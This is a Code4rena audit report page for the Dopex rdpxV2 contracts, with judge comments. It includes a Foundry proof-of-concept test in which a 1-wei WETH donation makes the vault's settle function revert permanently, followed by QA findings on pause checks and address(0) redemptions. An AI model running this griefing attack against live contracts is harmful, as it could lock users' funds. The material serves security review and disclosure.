Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 129/189
Findings: 2
Award: $19.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
If a malicious actor were to donate 1 wei of collateral token to the contract this would permanently cause the settle
process to fail, as there is no emergencyWithdraw function and thus the extra 1 wei of value will be locked in the contract.
The settle
function in the RdpxV2Core contract calls the settle
function within the PerpetualAtlanticVault contract. The settle
function of PerpetualAtlanticVault calls the line of code below
IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount );
In the subtractLoss
function in the PerpetualAtlanticVaultLP contract there is a check for the value of the balance of the collateral token owned by the contract being equivalent to an internal variable of _totalCollateral
, minus the value of the loss
variable sent in as the function parameter.
require( collateral.balanceOf(address(this)) == _totalCollateral - loss, "Not enough collateral was sent out" );
Copy/Paste to a file called VaultDonation.t.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import "forge-std/console.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { Setup } from "./Setup.t.sol"; import "contracts/core/IRdpxV2Core.sol"; contract VaultDonationTest is ERC721Holder, Setup { function testVaultDonation() public { // user 1 bonds 10 dpxETH uint256 receiptTokens1 = rdpxV2Core.bond(10 * 1e18, 0, address(1)); // user 2 bonds 10 dpxETH rdpxV2Core.bond(10 * 1e18, 0, address(2)); // update rdpx to (.312 eth) address[] memory path; path = new address[](2); path[0] = address(weth); path[1] = address(rdpx); router.swapExactTokensForTokens( 500e18, 0, path, address(this), block.timestamp ); rdpxPriceOracle.updateRdpxPrice(312 * 1e5); // reduce bond discount rdpxV2Core.setBondDiscount(5e4); // user 3 bonds 5 dpxETH at new price and bond discount weth.transfer(address(3), 5e18); rdpx.transfer(address(3), 50e18); vm.prank(address(3), address(3)); weth.approve(address(rdpxV2Core), type(uint256).max); vm.prank(address(3), address(3)); rdpx.approve(address(rdpxV2Core), type(uint256).max); vm.prank(address(3), address(3)); rdpxV2Core.bond(5 * 1e18, 0, address(3)); // skip 5 days skip(86400 * 5); // delegate 2 weth at 10% fee uint256 delegateId1 = rdpxV2Core.addToDelegate(2e18, 10e8); // user 1 delegate 5 weth at 20% fee weth.transfer(address(1), 5e18); vm.prank(address(1), address(1)); weth.approve(address(rdpxV2Core), type(uint256).max); vm.prank(address(1), address(1)); uint256 delegateId2 = rdpxV2Core.addToDelegate(5e18, 20e8); // bond with delegate uint256[] memory _amounts = new uint256[](2); uint256[] memory _delegateIds = new uint256[](2); _delegateIds[0] = delegateId1; _delegateIds[1] = delegateId2; _amounts[0] = 1 * 1e18; _amounts[1] = 1 * 3e18; rdpxV2Core.bondWithDelegate(address(this), _amounts, _delegateIds, 0); // skip 2 days and update funding payment pointer skip(86400 * 2); vault.updateFundingPaymentPointer(); // calculate funding uint256[] memory strikes = new uint256[](2); strikes[0] = 15e6; strikes[1] = 24000000; vault.calculateFunding(strikes); // bond 1 dpxETH rdpxV2Core.bond(1 * 1e18, 0, address(this)); // provide funding vault.addToContractWhitelist(address(rdpxV2Core)); // send funding to rdpxV2Core and call sync uint256 funding = vault.totalFundingForEpoch( vault.latestFundingPaymentPointer() ); weth.transfer(address(rdpxV2Core), funding); rdpxV2Core.sync(); rdpxV2Core.provideFunding(); // bond 1 dpxETH rdpxV2Core.bond(1 * 1e18, 0, address(this)); // skip 7 days skip(86400 * 7); vault.updateFundingPaymentPointer(); receiptTokens1 = rdpxV2Core.bond(1 * 1e18, 0, address(this)); // calculate and pay funding vault.calculateFunding(strikes); // send funding to rdpxV2Core and call sync funding = vault.totalFundingForEpoch(vault.latestFundingPaymentPointer()); weth.transfer(address(rdpxV2Core), funding); rdpxV2Core.sync(); rdpxV2Core.provideFunding(); // decrease price of rdpx (0.2weth) path[1] = address(weth); path[0] = address(rdpx); router.swapExactTokensForTokens( 2000e18, 0, path, address(this), block.timestamp ); rdpxPriceOracle.updateRdpxPrice(2 * 1e7); //################################################## // ATTACK SCENARIO IN THESE LINES // adding token to address(1) to have funds to transfer weth.transfer(address(1),10 wei); // Change sender to address(1) vm.prank(address(1)); // Send only 1 wei of collateral token weth.transfer(address(vaultLp),1 wei); //################################################## // settle options uint256[] memory ids = new uint256[](6); ids[0] = 2; ids[1] = 3; ids[2] = 4; ids[3] = 5; ids[4] = 6; ids[5] = 7; rdpxV2Core.settle(ids); } }
Output:
Running 1 test for tests/rdpxV2-core/VaultDonation.t.sol:VaultDonationTest [FAIL. Reason: Not enough collateral was sent out] testVaultDonation() (gas: 6069094) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 991.55ms Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in tests/rdpxV2-core/VaultDonation.t.sol:VaultDonationTest [FAIL. Reason: Not enough collateral was sent out] testVaultDonation() (gas: 6069094) Encountered a total of 1 failing tests, 0 tests succeeded
This would cause the settle function to always fail.
Three options could be considered, the first option is to change the require statement, to allow the balance to be greater than the calculation. The second option is to change the internal accounting to allow for a different check in the require statement, and lastly an emergencyWithdraw
function could be added, this would however not prevent temporary donations causing issues.
Other
#0 - c4-pre-sort
2023-09-09T09:51:36Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:14:12Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-21T07:14:36Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xDING99YA, 0xTiwa, 0xkazim, 0xnev, ABA, ArmedGoose, Aymen0909, Bauchibred, Evo, IceBear, KrisApostolov, MohammedRizwan, Nikki, QiuhaoLi, T1MOH, Toshii, WoolCentaur, Yanchuan, __141345__, asui, bart1e, carrotsmuggler, catellatech, chaduke, codegpt, deadrxsezzz, degensec, dethera, dirk_y, erebus, ether_sky, gjaldon, glcanvas, jasonxiale, josephdara, klau5, kodyvim, ladboy233, lsaudit, minhquanym, parsely, peakbolt, pep7siup, rvierdiiev, said, savi0ur, sces60107, tapir, ubermensch, volodya, zzebra83
19.1724 USDC - $19.17
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1051-L1070 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1080-L1124
The redeem
, upperDepeg
and lowerDepeg
functions are missing the check as to if the contract is paused. These functions should check if the contract is paused as confirmed with the sponsor.
Add the check _whenNotPaused()
to the functions.
redeem
function runs successfully if the user sends in address(0) as the to
parameter.https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042
User funds would be lost, as the token and transfer function do not seem to catch it be default.
Although it would be a user mistake, it would still lead to loss of funds. The call in a PoC using parameter address(0) runs successfully.
uint256 redeemRet = rdpxV2Core.redeem(2, address(0)); console.log("Amount redeemed : " , redeemRet);
Gives output as below indicating it was successfully actioned:
Contract Balance of TOKEN before call : 5000000000000000001 Test user Balance of TOKEN before call : 0 Amount redeemed : 1 Contract Balance of TOKEN after call : 5000000000000000000 Test user Balance of TOKEN after call : 0
and emits to event as below:
emit LogRedeem(to: 0x0000000000000000000000000000000000000000, amount: 1)
Add the check for address(0).
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042
The redeem
function only returns receiptToken to the user after the bond has matured. I confirmed with the sponsor and currently the receiptToken swap back to WETH and/or dpxETH is not implemented yet.
The user currently can only get receiptToken but cannot get WETH or dpxETH back out.
Implement the functionality in the receiptToken before launching.
amoAddresses
.https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L63-L64
address[] public amoAddresses;
The local variable amoAddresses
is controlled by the functions addAMOAddress(address _addr)
and removeAMOAddress(uint256 _index)
but the actual addresses saved to the array are never used in anyway throughout all the code.
Consider removing the array and functions, if it will not be used in future.
shares
in PerpetualAtlanticVaultLP.sol function beforeWithdraw
.https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L63-L64
function beforeWithdraw(uint256 assets, uint256 /*shares*/) internal { require( assets <= totalAvailableCollateral(), "Not enough available assets to satisfy withdrawal" ); _totalCollateral -= assets; }
The function parameter shares
is not used by the function beforeWithdraw(uint256 assets, uint256 /*shares*/)
but is not used within the function in any way.
Consider removing the function parameter, if it will not be used in future.
_transfer
function in the RdpxV2Core contract.https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L652
// Transfer rDPX and ETH token from user
TThe comment mentions that it transfers ETH from the user, but as confirmed with the sponsor this is an old comment and the function does not transfer any ETH from the user.
Correct comment to be
// Transfer rDPX
#0 - c4-pre-sort
2023-09-10T11:42:40Z
bytes032 marked the issue as sufficient quality report
#1 - GalloDaSballo
2023-10-10T11:44:53Z
L
redeem
function runs successfully if the user sends in address(0) as the to
parameter.-3, bot OOS
L
amoAddresses
.R
shares
in PerpetualAtlanticVaultLP.sol function beforeWithdraw
.I, part of ERC4626
_transfer
function in the RdpxV2Core contract.L
3L 1R -3
#2 - c4-judge
2023-10-20T15:19:49Z
GalloDaSballo marked the issue as grade-c
#3 - bbresearcher
2023-10-22T06:39:09Z
Hi @GalloDaSballo
Please may I request you to review the decision made on these 2 items as out of scope L-02 and NC-02
L-02 I double checked the BOT Race results and the only reference I could find to address(0) was updating state variables (Item L-13), checks in the constructor (Item L-14) and the potential of certain tokens reverting when send a value of zero (Item M-07), there was not a mention as far as I could find of sending funds to address(0) and it being successful in the bot results. May I request you to evaulate again please, I am happy if it you decide it's invalid, but I am of the opinion it's not OOS.
NC-02
I checked the results of the Bot Race for this item. There is a reference to unused function variables (Item N-45), but it only mentions the address from
variable and not the one I mentioned which is shares
. May I request you to evaulate again please, I am happy if it you decide it's invalid, but I am of the opinion it's not OOS.
#4 - GalloDaSballo
2023-10-25T09:05:29Z
3L 1R -3
When it comes to address(0) validation, due to the overwhelming amount of submissions and the fact that the validation doesn't yield much security in most cases, I believe the penalty to be correct
I have removed the penalty from NC-02 I have marked this as Ignored because it's due to how the standard has evolved: https://github.com/code-423n4/2023-05-maia/blob/1a95ffeaa057f14e6f317f7c3af84def2db16309/src/erc-4626/ERC4626.sol#L171
#5 - GalloDaSballo
2023-10-25T09:06:50Z
#6 - c4-judge
2023-10-25T09:07:12Z
GalloDaSballo marked the issue as grade-b
#7 - bbresearcher
2023-10-25T09:16:37Z
Thank you very much, @GalloDaSballo , Please may I ask for more clarity on why you believe it's out of scope, (worthy of a penalty) If it was not one of the BOT Race finds , would it still be considered OOS? Should the BOT results then not have mentioned that any address validation to address(0) as being a finding? As I mentioned I am happy with a invalid classification.
#8 - GalloDaSballo
2023-10-25T09:47:50Z
Hopefully we will be able to fully decide on this via the Supreme Court
In general, once a finding has been marked as OOS, if the Sponsor can reasonably use CTRL + F to find the other instances, then the instances are not worth flagging
Sometimes this is not enforced, for example top gas bots have sent OOS findings that are impactful enough to be worth flagging
When it comes to address(0) we have had extensive discussions and as such I'm more trigger happy with closing these as mentioning the issue means all other instances are trivial to find
Check: https://github.com/code-423n4/org/issues/53 https://github.com/code-423n4/org/issues/52 https://github.com/code-423n4/org/issues/8 https://github.com/code-423n4/org/issues/1
For more historical context